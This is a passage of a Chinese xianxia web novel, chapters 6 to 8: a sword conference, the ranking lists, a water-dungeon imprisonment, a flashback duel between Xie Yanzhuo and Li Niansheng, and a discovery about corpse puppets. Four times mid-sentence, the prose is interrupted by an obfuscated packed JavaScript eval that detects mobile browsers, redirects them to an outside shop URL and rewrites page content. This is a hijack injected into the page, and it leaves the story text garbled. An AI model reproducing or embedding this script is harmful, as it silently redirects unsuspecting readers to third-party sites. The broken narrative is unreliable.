黎念笙灭了无殇冢,为何而灭?为谁而灭? 他下看向黎念笙,那人却只是端坐,面色如常,仿佛楚烬云说的与他无关。 “少庄主的意思是……”有人试探着问,“尸傀与无殇冢有关?” 楚烬云摇头:“楚某不敢妄下定论,只是无殇冢本就临近金陵城,此事未免太过巧合。 无殇冢盘踞玄门上界数百年,专营刺杀勾当,十年前更是做出惊天大案,如今被镜玄尊者一举荡平,本是幸事,可无殇冢覆灭后,尸傀便四处涌现,这其中是否有牵连,还需诸位一同查探。” “惊天大案”四个字,像一记重锤,砸在谢棠心上。 十年前,无殇冢联合魔教,截杀太初仙君谢颜酌…… 谢棠垂下眼,把茶盏凑到唇边,借着喝茶的动作掩住脸上那一闪而过的神情。 “敢问谢司主。” 楚烬云的声音忽然点了他的名,谢棠抬眼,正对上楚烬云的目光。 “云台司素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328734|198893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来消息灵通,不知可有与尸傀相关的消息?” 萧裴煜在一旁幸灾乐祸,默默往嘴里塞了块糕点,准备看戏。 谢棠瞥了他一眼,在心里骂了句“没良心的小东西”,面上却不动声色。 “实不相瞒,”他清了清嗓子,“云台司确实有些相关的消息。” 底下众人精神一振。 “只不过,”谢棠话锋一转,“日前有人不远千里来云台司,花了一万两黄金买这消息,今日少庄主要买,也并非不可,只是,要说与这么多人听,这价钱……” 众人面面相觑,谁能想到,这云台司司主,身在名剑山庄,竟敢论钱财? “哼!”有人冷哼一声,“上界有难,危害下界,我等修士自当拔刀相助,你倒好,竟还只顾着一己之私… “你这司主尚且如此,可见云台司也不是什么好东西,就这样,还想与百晓堂一较高下?” 谢棠也不恼,反而笑了:“这位道友言之有理,只是你若去百晓堂,怕是百晓生连见也不愿见你…” 他好整以暇地理了理衣袖,“我云台司敢与百晓堂抢这碗饭,却不知阁下,敢不敢去百晓堂门前说这句话?” “你!”那人被噎住,脸色涨红。 谢棠悠然坐下,一转头,正对上黎念笙的目光,那人嘴角挂着一丝极淡的笑意,像是看了一场好戏。 谢棠瞪他一眼:“你笑什么?镜玄尊者若是也感兴趣,拿了银子来云台司买就是。” 黎念笙摇了摇头,笑意未减。 楚烬云亦觉不妥,清了清嗓子,圆场道:“云台司自有云台司的规矩,既如此,名剑山庄自当奉上诚意,届时,还请谢司主笑纳。” “自然。” “说到镜玄尊者…”楚烬云话锋一转,“晚辈倒是有个不情之请。” 他朝黎念笙拱了拱手,正色道:“尊者闭关十年,一出关便扫平无殇冢,为玄门除了一大害,如今又入从圣,这份功绩,便是比之当年那位…也毫不逊色。” 他顿了顿,似乎在斟酌用词。 “当年太初仙君何等惊才绝艳,却不幸遭无殇冢毒手,至今想来仍令人扼腕,而尊者替仙君报了此仇,足见天理昭昭,善恶有报。” 谢棠垂着眼,手指轻轻摩挲着茶盏的边缘… “如今玄门上界无主,尊者既是衍月宗宗主,又是从圣境第一人,论修为、论声望,都足以服众… 依晚辈愚见,不如就请尊者登共主之位,统率玄门,共御外敌!” 此言一出,不少人纷纷附和。 “说得对!镜玄尊者当为共主!” “十年前谢颜酌虽强,却太过跋扈,以致遭人暗算,黎宗主沉稳内敛,十年前谢颜酌死于无殇冢,十年后宗主却扫平无殇冢,实乃众望所归!” “正是!那谢颜酌再厉害,也不过是昙花一现,哪有尊者这般……” 谢棠听着这些话,面上依旧淡淡的,仿佛他们讨论的是与自己毫不相干的陌生人,只是端起茶盏,轻轻吹了吹浮沫。 黎念笙的目光越过人群,落在他身上。 那张脸上,没有一丝波澜,没有愤怒,没有悲伤,甚至没有一丝被冒犯的不悦… 只有漠然,像是真的已经不在意了。 黎念笙收回目光,站起身。 众人见他起身,以为他要接受推举,纷纷安静下来,满怀期待地望着他。 黎念笙却只是淡淡开口:“无殇冢之事,是我一己恩怨,至于共主之位……” 他顿了顿,目光扫过在场众人,最后落在谢棠身上,只一瞬,又移开。 “有人比我合适。” 话音落下,满座寂静。 楚烬云张了张嘴,想说什么,却见黎念笙已经重新坐下,周身气息冷淡,显然不愿再谈,众人面面相觑,一时不知该如何接话,谢棠依旧喝着茶,仿佛什么都没听见。 如此僵持之时,却听一声响箭滑过天空,是百晓堂的榜到了…… 6.困水迟暮 响箭破空,一只飞箭落入试剑坪。 满座目光都向那处齐聚,只见那箭身上绑着一卷信纸,在日光下微微晃动。 “是百晓堂的榜到了!”不知是谁说了一句,人群顿时沸腾。 谢棠却只是淡淡扫了一眼,四下瞥了瞥,黎念笙不知何时已经离开,他心底忽然涌起一股不祥的预感,虽说对这位镜玄尊者不甚了解,可黎念笙今早离开时的语气,不像是在开玩笑。 “怎么不见有人来揭榜?”萧裴煜凑过来问。 “百晓堂一贯如此。”谢棠压下那丝不安,懒洋洋道,“揭榜不露面,装神弄鬼。” “切。”萧裴煜一脸嫌弃,但远远看向那张金灿灿的榜,是冠绝榜,他不由得羡慕:“什么时候,我也能上冠绝榜呢…” “那还不简单?”谢棠面不改色道:“来日我也发一张榜,将你列为天下第一,如何?” “你?”萧裴煜又疑又乐,“你如何发榜?” “我云台司与百晓堂齐名…”谢棠矜傲地抬起头,幽幽问:“他百晓生能发这榜,我如何不行?” “我说谢大司主…”萧裴煜自问没见过如此厚颜之人,无语道:“就算你发了这张榜,又有几人信呢?还是别丢脸了。” “哼!”谢棠懒得再理他,目光又往人群里扫了一圈。 一小厮端着那金灿灿的榜,清了清嗓子,朗声念道:“冠绝榜榜首,镜玄尊者,衍月宗宗主黎念笙!” 喝彩声四起,榜首,乃是意料之中。 “冠绝榜第二,仙都寺隐莲圣僧;第三,儒仙唐道渊;第四,无妄琴仙司空千尘——” 念到第四时,阁楼上传来一声激动的叫好,谢棠抬眼望去,正看见沈洛溪抱着他那把独忧琴,满脸兴奋,一旁,归云宗掌教沈景瑜无却奈地叹了口气。 谢棠看在眼里,觉得有几分趣味,归云宗世代练剑,未来掌教却是个琴痴,这传承,怕是要断了。 榜单继续往下念,是三大剑仙,谢棠听得心不在焉,直到小厮念完冠绝榜,开始揭晓良玉榜。 “良玉榜榜首…”那小厮的声音忽然顿住了,只见那小厮瞪大了眼睛,盯着信纸看了又看,像是不敢相信。 “良玉榜榜首…”他磕磕绊绊地念出来,“碧海潮生阁,叶…念汐?” 人群哗然… “碧海潮生阁?” “叶念汐?这是谁?” “碧海潮生阁都没了,哪来的弟子?” 谢棠端着茶盏的手,微微一僵…… 叶念汐,他不记得有这样一个人,可这个名字,此刻正明明白白地写在百晓堂的榜上。 谢棠目视前方,不知在眺望什么,百晓堂不会出错,那么这个人是真实存在的… “念”者,忆往也,“汐”字,是碧海潮生之意… 十年了,竟还有人记得那个地方,竟还有人记得…谢颜酌。 谢棠心中泛起一阵复杂,是歉意?是愧疚?他说不清…… “诸位不必议论。”楚烬云开口打圆场,“百晓堂做事,自有百晓堂的道理。” 那小厮点了点头,继续念下去,谢棠却已无心再听,不知过了多久,萧裴煜忽然撞了他一下,满脸兴奋:“哈哈!你听到了没?我良玉榜第八!” “恭喜啊萧兄!”良玉榜第二的沈洛溪溜过来,架着萧裴煜的肩膀笑道:“想不到萧兄初入上界闯荡,就能位良玉榜第八,可谓是前途无量啊!” “承让承让,洛溪兄的琴术也很不错!” “那是!”沈洛溪满脸自信,昂首道:“我未来,可是要做这天下第二的琴仙!” “那我就要做剑仙!”萧裴煜一拍胸脯。 二人哈哈大笑。 谢棠看着这两个不知天高地厚的少年,默默移开视线。 午后,各派陆续散去。 谢棠和萧裴煜坐上回青州的马车,车轮滚动,将名剑山庄的热闹抛在身后。 萧裴煜趴在车窗上,忽然问:“谢棠,我们回去之后干什么呀?” “自然是你走你的阳关道,我过我的独木桥。” “你什么意思?” “王爷只说让我带你来参加金陵论剑。”谢棠靠在车壁上,闭着眼,“至于你未来要如何,与我无关。” 萧裴煜急了:“谢棠,那云台司好歹也是玄门大门派,如今上界下界都不太平,你作为司主,能不能有点侠义心肠啊?” 谢棠睁开眼,瞥了他一眼:“侠义能当饭吃吗?有钱拿吗?” “你——!” “好了好了。”谢棠放软了语气,“年轻人,听我一言,无论是上界玄门,还是下界人间,都没那么简单,你玩两把就回家吧。” “不行!”萧裴煜执拗道,“我才哪到哪儿呢!我还没当剑仙呢!” “修行嘛,又无谓在何处,”谢棠伸了个懒腰,慢慢闭上眼:“你回镇西侯府,也一样能当剑仙…” “你…你!”萧裴煜一脸吐出几个“你”字,可见谢棠一副事不关己的模样,也气得不再说话。 马车又行了片刻,刚出金陵城,谢棠忽然睁开眼。 风声不对…… 虽然难以察觉,但他听出来了,是踏雪无痕,黎念笙的轻功… 他叹了口气,只觉麻烦,这人,还真是言出必行。 谢棠侧头看了一眼,萧裴煜已经靠着车壁睡着了,于是伸手在他胸前轻轻一点,点了睡穴,又掀开车帘,低声交代阿墨:“送他回镇西侯府。” 说完,他纵身跃下马车,车轮声渐远,四周只剩下风声。 谢棠站在原地,等了一会儿,身后没有动静。 他无奈地转过身,对着空无一人的来路道:“不出来,我可就走了?” 话音落下,一道墨绿残影掠至身前,黎念笙负手而立,直勾勾看着他。 谢棠扯出一个笑:“镜玄尊者还真是…言出必行。” 不及他反应,黎念笙一挥手,紧接着一股力道在谢棠背后推了一把,黎念笙稳稳将他接住,带着他腾空而起,两柄飞剑从剑匣中飞出,稳稳托住二人。 谢棠低头看了一眼脚下的飞剑,又看看黎念笙,认命地闭上眼。 得,跑不掉了…… 衍月宗临瀑布而建,水声潺潺,云雾缭绕,倒是一处奇景。 谢棠被黎念笙带着落在一处院落前,四下打量了一圈,从前黎念笙不爱露面,衍月宗也不与其他门派走动,他还从未来过。 “镜玄尊者这里,倒是好景致。”他理了理被风吹皱的衣袖,语气轻松,仿佛不是被掳来的,而是来游山玩水的。 “恭迎尊上!”一名玄衣少年匆匆赶来。 黎念笙将背后剑匣递给他,正要开口,目光落在谢棠脸上,那人正对他挤出一个讨好的笑。 他顿了顿,改了主意,“谢司主初来乍到…” “我亲自带你逛逛。” 谢棠脸上的笑僵了一瞬,随即更灿烂了:“哎呀,这怎么好意思?黎宗主有事尽管去忙,让这位小兄弟带我去就行。” “无妨。”黎念笙瞥了他一眼,言下之意便是… 别想跑。 谢棠默默收回视线… 一路穿过衍月宗,谢棠东张西望,黎念笙少年时是首座弟子,当年玉仙人仙逝坐化后,黎念笙承宗主之位,撑着衍月宗的门面,事实上,衍月宗里里外外,都是他师姐掌事。 “果然,还是二尊主会当家啊。”谢棠看着沿途景致,随口打趣,“得亏你闭关十年前,不然,好好的衍月宗,得荒废成什么样?” 黎念笙走在前头,冷哼一声,什么也没说。 来到一处院落,那跟在身后的少年推开门,毕恭毕敬:“谢司主请。” 谢棠慢悠悠抬脚跨过门槛,刚跨进去一半,忽然捂住鼻子,满脸嫌弃地退了出来。 “这里头什么味道,臭死了。” 黎念笙看着他,只见谢棠皱着眉,一副煞有介事的模样,可他站在门外,什么也没闻到。 “尊上…”那少年为难。 “给他换。”黎念笙言简意赅。 换了一间,谢棠进去看了看,摇头:“床的位置我不喜欢。” 再换一间,他又挑剔:“这也太素了,我这人别的不挑,但是吃穿用度,我都要最好的。” 再换一间:“朝向不好。” 再换一间:“帘子太艳,俗气得很。” 那少年已经跑得满头大汗,只能求助地看向黎念笙。 黎念笙看着谢棠,那人正一脸无辜地回望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332266|198893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他… “黎宗主若是觉得我烦了,”谢棠幽幽道,“可以将我送回去。” “不,送就不必了,我自己回去也行。” 黎念笙盯着他看了片刻,而后上前一步,一掌按在他后背,谢棠还没反应过来,人已被推进屋内,踉跄了几步才站稳。 “哎——!” 他回头,正想骂一声粗鄙,就见一本书朝他飞来,伸手接住,低头一看,是“转息诀”,衍月宗看家的心法。 谢棠愣了愣,随即笑了:“黎宗主这是要收我为徒?” “此诀可助你逆转真气,将毒素逼出。”黎念笙站在门口,语气平淡。 谢棠看着手里的秘籍,没有说话,若真有这么简单,他又何苦熬这十年? “好意我心领了。”他把秘籍往桌上一放,语气懒散,“不过我这毒,不是一本心法能解的。” 黎念笙没有说话,只是看着他。 那目光让谢棠莫名心虚,他移开视线,摸了摸肚子,抱怨道:“折腾了半天,我快饿死了,空着肚子,怎么练功?” 黎念笙深吸一口气,“备膳。” 一桌菜摆上来时,谢棠眼睛亮了亮。 他凑过去闻了闻,由衷赞叹:“厨子的手艺还真是不错。” 黎念笙坐在一旁,给自己倒了杯酒,没有理他,谢棠也不在意,自顾自吃起来。 方才安静下来,那一直跟着的少年匆匆进来禀报:“尊上,二尊主请您去议事。” 黎念笙放下酒樽,担忧地看了谢棠一眼。 谢棠立刻放下碗筷,端正坐好,满脸真诚:“你放心去吧,我就在这里等你,保证哪也不去。” 黎念笙看他几晌,片刻后才站起身,走到门口,脚步似有一顿,而后走了出去。 谢棠又吃了片刻,估摸着黎念笙已经走远,才放下筷子,笑眯眯地看向一旁的少年。 “这位小兄弟,贵姓啊?” “不敢,弟子沈雨。” “哦——”谢棠意味深长地拉长声音,“你过来,我跟你打听些事。” 沈雨犹豫了一下,又想起这人不会武功,便凑了过去。 就在他低头的瞬间,谢棠手腕一翻,指尖精准地按在他颈侧某处,沈雨眼睛一睁,身子便软了下去。 谢棠扶住他,慢慢放倒在椅子上,抱歉地笑了笑:“实在是不好意思,本也不是我要来,要怪,就怪你家尊上吧。” 说完,他从沈雨腰间扯下钥匙串,推门而出,然后愣在原地。 门外,黎念笙负手而立,正好整以暇地看着他,等着他… “谢司主…”他幽幽道:“这是急着去哪儿?” “呵…呵呵……”谢棠干笑两声,“镜玄尊者,议事,够快啊。” 黎念笙没有回答,周身气息冷下来,伸手拉起谢棠,带着他穿过回廊,走向另一个方向,是水牢… 谢棠站在门口,看着里面的景象,沉默了。 有水,有床,有桌椅,刑具倒是撤走了,可那股潮湿阴冷的气息,还是扑面而来… 他不免后悔,早知道,就不闹了… 谢棠吃软不吃硬,冷哼一声,摆起脸色:“黎宗主啊,你要知道,我这辈子都没待过这样的地方。” 黎念笙却罕见没有顺他的意,兴许也是被他一番闹腾气得狠了,只冷冷道:“转息诀已经给你…” “什么时候练成,我什么时候放你出来。” 随着黎念笙的声音在水牢之中回响,石门在身后缓缓合上,发出沉闷的声音,谢棠站在水牢中央,环顾四周… 暗无天日,潮湿阴冷… 他曾是那样骄傲的人,人人景仰,遥不可及,如今,却被关在这样的地方… “如是当初……”他喃喃道,眼中闪过一丝可笑的怒意。 可怒给谁看呢? 他低头看向手中那本转息诀,竟也感慨这份机缘来得太迟,若是十年前,自己初次毒发时,有这本心法,或许会好一点… 如今再做这些,已经太晚了。 于是,他他索性把转息诀往旁边一丢,倒在床上,闭上眼。 可他不知道的是,水牢外,黎念笙正坐在案桌前,他没有离开。 往事沉浮,一切回到十年之前… 7.十年一诺 璧沉于渊,待月出而映照,镜花水月空一场,往事知多少? 初次相见,是在十年之前… 月色正浓,穿过戏月林间层层叠叠的竹叶,在地上洒落一片碎银,少年拎着一壶酒,漫步林间,脚步有些踉跄。 谢颜酌今夜心情格外的好,多饮了几杯,有些醉意,他抬头望月,月光落在他脸上,勾勒出一道张扬的面庞,额间那一点灵台印记在月色下若隐若现,那是他入从圣后凝练而成的剑鞘,太初五剑便栖于其中。 十七岁的太初仙君,从圣第一人,御剑术大成者,玄门共主…这些名号加在一起,也不如他此刻眼底的那抹傲然来得真实。 他举起酒壶,又喝了一口,就在这时,一道凛冽的剑意刺破了夜色。 谢颜酌没有回头,只是侧身一让,一道残影擦着他的衣襟掠过,落在三丈之外。 又来? 自他年纪轻轻坐上这共主之位,总有人不服,明里暗里来找他比试,不过都是些宵小之辈,至今尚无人能逼他出剑。 那人戴着面具,看不清面容,但身法极快,一柄银剑刺来,剑光如练,直取他咽喉。 谢颜酌边退边弹出一指,指风凝聚着“朱颜辞镜”的真气,足以洞穿金石,可那人一剑挥出,竟将指风击得粉碎。 谢颜酌挑了挑眉,心道有点意思,接着手腕一翻,将酒壶抛向空中,同时掌心一展,明华剑自额间灵台应声而出。 剑光如雪,与那人的银剑交缠在一起,几个回合下来,酒壶落下,又被谢颜酌一掌托起,再落下,再托起,他像是在玩,又像是在试。 如此几番,对面那人竟也毫不逊色,他来了兴致,高呼:“扶摇。” 第二柄剑应声而出。 两柄飞剑在月色下盘旋,明华刺向那人面门,扶摇封住他的退路,谢颜酌便在一旁看着,可那人竟也一一接下,丝毫不落下风。 谢颜酌眼中的兴致越来越浓,他笑着打了个响指,那两柄正与那人缠斗的飞剑同时撤开,架住了正在下落的酒壶。 “剑来!”谢颜酌难得再被激起胜负之欲,只见两道流光自灵台闪现,琼雪被唤出来,还有那柄天下第一的名剑——凤求凰。 五剑齐出,环绕周身,剑光映得他整个人如同神祇。 “来!”谢颜酌扬起下巴,语气里是压不住的傲然,“让我看看你到底有多少斤两!” 那人也不客气,沉声一喝:“照影来!” 一剑挥出,漫天剑光凝成无数镜片,如暴雨般倾泻而下。 “万骨枯!” 月引梭入地,激起藤萝如幕,遮天蔽日,万物皆在覆下。 “再来!”那人不服,“镜幽离尘!” 随着话音落下,一道巨大的法印在他身后凝聚,几乎要照亮整片戏月林,谢颜酌眯起眼,看见那法印中一个“镜”字,心中了然。 此剑,是镜玄剑,那么持剑之人必是… “有趣。”借着酒意,他朗朗开口:“舞起!” 话音落下,自他脚下而起,泥土草木变得晶莹剔透,连被灵光穿过的竹子,都化作琉璃般的质地… 醉花剑舞,是最寻常的剑舞,却被他使得如此华美。 一袭绿衣,一柄长剑,在这琉璃幻境中舞动,剑光所过之处,万物生辉…… 剑舞本是以柔克刚,可谢颜酌不是,是凌厉的剑,是张扬的傲,他舞给自己看,也给这月色看,给这天地看。 那身影太耀眼了,耀眼到让人移不开目光… 黎念笙为这一幕震撼,聚起的法印迟迟没有落下,任由那些剑意化去自己招式中的杀意,他只是看着,看着那个在月光下舞剑的人,看着那抹张扬的笑,看着那双盛满星河的眼睛。 “收——” 一舞而尽,镜幽离尘的杀意已所剩无几… 谢颜酌却没有停,凤求凰扬起,剑身上凝出一道七彩流光… “凤凰于飞!” 凤凰的清唳响彻夜空,那道剑气挟着漫天流光溢彩,与黎念笙的法印轰然相撞… “轰!” 尘埃落定,散落的星尘流落林间,谢颜酌的身影已掠至黎念笙身前,一到引玉掌递出,黎念笙侧身一躲,却正中他下怀,谢颜酌的手顺势一勾,摘下了他的面具。 月色下,那张脸最终露了出来… 谢颜酌落在一根竹枝上,脚下莲花散去,明华与扶摇架着酒壶飞来,他伸手接过,喝了一口,居高临下地看着那人。 “来比武还戴面具,”他懒洋洋道,“镜玄尊者怕什么呀?” 一袭墨兰衣衫的剑客转过身,黎念笙抬起头,看着竹枝上那个人。 月色在他身后,将他整个人镀上一层银光,他一手拿着酒壶,一手撑着膝盖,姿态慵懒,眼底却盛满了笑意。 谢颜酌侧头瞥了他一眼,却被他这面容惊艳,剑眉星目,鼻梁挺拔,鬓边几缕碎发垂到睫毛上,不是那种精致如玉的美,却是冷冽的、锋利的、让人过目难忘的俊。 十九岁的黎念笙,满身皆是不谙世事的干净。 谢颜酌愣了一瞬,然后他笑了,许是觉得有趣,便逗一逗。 “哟。”他发出一声惊叹,“这百晓堂道琴仙乃是上界第一美男子,依我看来,倒是不如镜玄尊者有气魄。” 黎念笙一愣,他这是…被调戏了? 他没想到,传说中高高在上的太初仙君,竟是这副模样。 “想不到堂堂太初仙君谢颜酌,从圣第一人,”他冷笑一声,反唇相讥,“说话做事,竟如此轻薄。” “唉。”谢颜酌摇了摇头,酒意上头,话也多了起来,“镜玄尊者你实在是太不解风情了,这怎么能叫轻薄呢?我瞧得上你,那可是你的福气。” 黎念笙顿时脸色一沉。 谢颜酌却不管不顾,只是笑意更深:“你今日与我比试,如今输了,可怎么办才好?” 他顿了顿,幽幽道:“以身相许,我便放你一马,如何?” 黎念笙久不入世,哪里见过这种阵仗,他下意识反驳:“若是以命相拼,今日结果不见得如此。” “我知道我知道。”谢颜酌摆摆手,“这些年找我比武的人不计其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337621|198893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数,你能接下我五剑齐发,已经很不错了。” “你尽管出招。”黎念笙沉声道,“再来,我定赢你。” “诶——”谢颜酌拖长声音,“我打累了,你若这样赢我,可是胜之不武。” 黎念笙刚欲出鞘的剑再次停住,谢颜酌此人,怎么还有点无赖? “况且…”谢颜酌悠悠道,“我好歹是从圣。镜玄尊者如今想赢我,怕是不太可能。” “那你想如何?” 谢颜酌想了想,忽然眼睛一亮,“不如这样,我与你约定,十年后,你若能入从圣境,修得御剑之术,那时你来找我,我定与你战个痛快。” “你不反悔?” “笑话。”谢颜酌挺直腰板,月光落在他脸上,映出那一抹张扬的笑,“我堂堂太初仙君,岂有骗人的道理?” “好。”黎念笙应得干脆,“若是你输了呢?” “我输?”谢颜酌笑了,仿佛听见什么天大的笑话,可他看着黎念笙那张认真的脸,又觉得有趣,便道:“我若输了,自然悉听尊便,但若你输了…” 他看着黎念笙,一字一字说… “你就得以身相许。” “好!”黎念笙没有半点迟疑,“十年后,我来找你。” 谢颜酌举起酒壶,朝他晃了晃,然后翻身跃下竹枝,消失在月色深处,只剩黎念笙站在原地。 风吹过竹林,沙沙作响…… 他会永远记得,太初仙君…谢颜酌… 十年后,黎念笙出关了,从圣境,御剑术,十年苦修,他都做到了。 出关那一日,阳光正好,他站在衍月宗后山的崖边,望着远处云雾缭绕的群山,心中只有一个念头… 该去赴约了。 可旁人却告诉他,谢颜酌,已经死了十年了… 黎念笙已经忘了那一瞬间的知觉,世人都道,镜玄尊者出关后第一件事,是灭了无殇冢。 实则不然… 他先去了戏月林。 可那里已面目全非,碧海潮生阁颓败了,后山的竹林也荒芜了,只有一块木碑立在那里,上面用剑刻着三个字——谢颜酌。 生时轰轰烈烈,死后却只有一块木碑,连个像样的衣冠冢都没有。 这就是谢颜酌的结局么? 不可能,这不该是…… 三日后,上界传闻,无殇冢没了,从上到下,三百七十一人,无一活口。 没有人知道那一夜发生了什么,只有无殇冢正殿的墙上,有一道深深的剑痕,那是镜玄剑留下的痕迹。 可那又如何呢? 他要找的人,已经不在了。 黎念笙站在废墟中央,望着满目疮痍,无法自拔,沉醉于那一夜… 想起那个人站在竹枝上,居高临下地看着他,眼里盛满笑意。 风从废墟上吹过,带起一片灰尘。 可黎念笙不知道的是,在千里之外的青州,有一个人正躺在云台司后院的软榻上,望着窗外的月亮,不知在想什么。 那个人已经不叫谢颜酌了,他叫谢棠。 8.璞玉沉渊 再度推开水牢的门时,果然如黎念笙所想,谢棠还躺在床榻上,闭着眼,像是仍睡着,但黎念笙知道,他醒了。 那本转息诀,还丢在墙角,原封未动… 黎念笙站在床边,看他良久,最终轻叹一句:“你就这么不想活?” 谢棠没有动。 “虽然不知道你经历了什么,”黎念笙继续说,“但连旁人都不想放弃你,你为何要自轻自贱?” 谢棠于是坐起身,靠在床头,看着黎念笙,忽然嘲弄似地笑了一下,“原来你并不了解我。” “黎宗主…”他慢悠悠道,“你我素不相识,你何苦管这么多呢?” 素不相识… 黎念笙没有接话,心却冷了,他看着谢棠,目光复杂,眼前人的身影能与十年前的谢颜酌相融,但也仅此而已了… 不知不觉中,他抬起手,食指抵住谢棠的下颌,迫使他抬起头来。 这是个压迫味十足的动作,谢棠向来不喜欢受人摆弄,于是扯了扯嘴角,倔强地别过头。 看着他的反应,黎念笙却笑了:“谢颜酌,还没有死。” 谢棠愣了一下,随即他明白了什么,原来黎念笙不肯放弃的,是这个… 他抬起眼,直勾勾盯着黎念笙,四目相对,谢棠忽然伸手勾住他的腰带,懒懒问:“镜玄尊者想要我做什么,直说就是,何必绕这么大圈子?” 黎念笙看着他,目光里闪过一丝疑惑,而后他看见谢棠的手往上探,想要褪去他的外衫。 他一把抓住那只不安分的手,眼中满是失望… “我看错你了。”黎念笙松开手,退后一步。 谢棠冷笑一声,什么也没说。 二人僵持不下,黎念笙深吸一口气,对着门外道:“把东西呈上来!” 不知他又要干什么,谢棠不耐烦地瞥了一眼,却见两个侍卫应声而入,将一柄银剑放在了自己面前… 那剑柄与剑身相连处,刻着藤蔓缠绕的花纹,这些花纹,曾是他亲手雕刻,这柄剑是…月引梭! 谢棠的目光彻底顿住了,恍如隔世,十年前自己重伤难愈,灵台破碎,太初五剑散落世间,自己从未去寻过,万万没有想到,十年后再见,竟是这般光景。 他望着那柄剑,眼底的复杂一闪而过,黎念笙看见了。 他还在意…… “这剑,是在无殇冢的祭坛上找到的,”黎念笙缓缓开口,也在揣摩谢棠的神色,道:“楚烬云说,如今各处皆有尸魁作乱,而无殇冢的祭坛下面,正豢养着一批尸魁…” “祭坛上封印着的,给那些尸魁提供灵力的…”他顿了顿,最终吐出下言:“正是月引梭。” 谢棠没有说话,脸色已然苍白。 “你的剑,”黎念笙看着他,“在别人手里,成了杀生之剑。” 谢棠低下头,看着月引梭,往日这五剑跟着自己救死扶伤,锄强扶弱,如今,却成了豢养邪祟的凶器… 可他能做什么呢?谢颜酌拥有一切,谢棠什么都没有,他自身都难保。 谢棠眼中暗淡无光,他冷笑一声,恨恨道:“可惜这剑的主人已死…” “我无能为力…”他看向黎念笙,语气疏离:“黎宗主还是将这消息传给玄门各派,那比你在这里苦口婆心地劝我,有效得多。” “好……”黎念笙深吸一口气,水牢太冷,他本不想做绝,奈何要点燃一个心死之人生的欲望,就该做绝! 他握紧了拳,怒喝:“把尸体抬上来!” 随即,两个侍卫架着一具用白布覆盖的尸体,放在谢棠面前。 尸身已经腐烂,散发着难闻的气味,看不清面容,只有那具骨架,还保持着完整。 谢棠皱起眉,掩住口鼻,他瞥了一眼那尸体。 这一眼的错愕,比之方才的月引梭更甚! 那尸体腰间残破的衣物处,还系着一块玉佩,玉佩上刻着一个字——琴。 这是碧海潮生阁的信物,此人是… “凭着这块玉佩,你也能认出来。”黎念笙的声音从旁边传来,“此人,乃是碧海潮生阁琴笛笙磬四护法之一…” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337622|198893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的故人,便是那批被豢养的尸魁之一。” 谢棠没有说话,只是偌大的冲击之下乱了他的气息,有些许毒性涌上,饶是万蚁啃噬,竟也比不上此刻这锥心之痛。 他只是看着那块玉佩,看着那个“琴”字,脑海中忽然闪过些零碎的画面,那是多少年前的事了? 他不记得了… 如今,那个人躺在这里,尸身腐烂,面目全非… 谢棠的手微微颤抖着,不知是因为身痛,还是心痛… “月引梭只是一个引子。”黎念笙的声音继续传来,“无殇冢也只是这盘棋中的一颗棋子,有人在布一场很大的局,你死去的旧人,也许都成了尸魁…” “你的剑,也许正是炼化他们的凶器。” 他往前一步,看着谢棠的眼睛,问:“你不认那五把剑,那这些人呢?” 那这些人呢? 谢棠没有回答,他回答不了…… “不仅是你的故人,”黎念笙的声音还在继续,“还有许多无辜之人被卷入这场争斗,太初五剑一世光明…” 他顿了顿,看向谢棠,一字一顿:“谢颜酌,别让这些贼人辱没了它们。” “那些死去的故人,应让他们入土为安,而不是成为杀生的怪物。” “我可以放你走。”他说,“若是你还在意,三日后,我在青州城外等你。” 话音落下,他转身离去,石门在身后缓缓合上。 谢棠坐在原地,胸口忽然涌上一阵腥甜,他捂住嘴,却没能压住,一口鲜血喷出,落在青石地面上,触目惊心…… “哈哈哈…”谢棠几乎失语,是笑,也是哭。 如果有一人非死不可,这个人,一定是他自己,不该是别人… 如今,连他们的尸身都不得安生… 